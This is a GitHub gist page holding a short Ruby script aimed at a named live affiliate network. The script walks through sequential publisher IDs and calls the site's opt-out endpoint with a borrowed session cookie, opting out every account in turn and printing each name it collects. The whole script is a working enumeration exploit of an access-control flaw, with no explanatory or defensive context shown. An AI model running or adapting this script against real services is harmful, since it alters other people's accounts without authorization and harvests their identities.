Created
October 15, 2015 14:56
-
-
Save danielmorrison/df8444600ff2d8ae107d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "net/http" | |
require "cgi" | |
pid = 1 | |
http = Net::HTTP.new('www.pepperjamnetwork.com', 80) | |
loop do | |
request = Net::HTTP::Get.new("/affiliate/optout.php?pid=#{pid}&optout=1") | |
cookie = CGI::Cookie.new("PHPSESSID", "REPLACE WITH ACTUAL SESSION ID") | |
request['Cookie'] = cookie.to_s | |
r = http.request(request) | |
puts "#{pid} " + r.body.match(/successfully opted out of newsletters for ([^<]*)/)[1] | |
pid += 1 | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment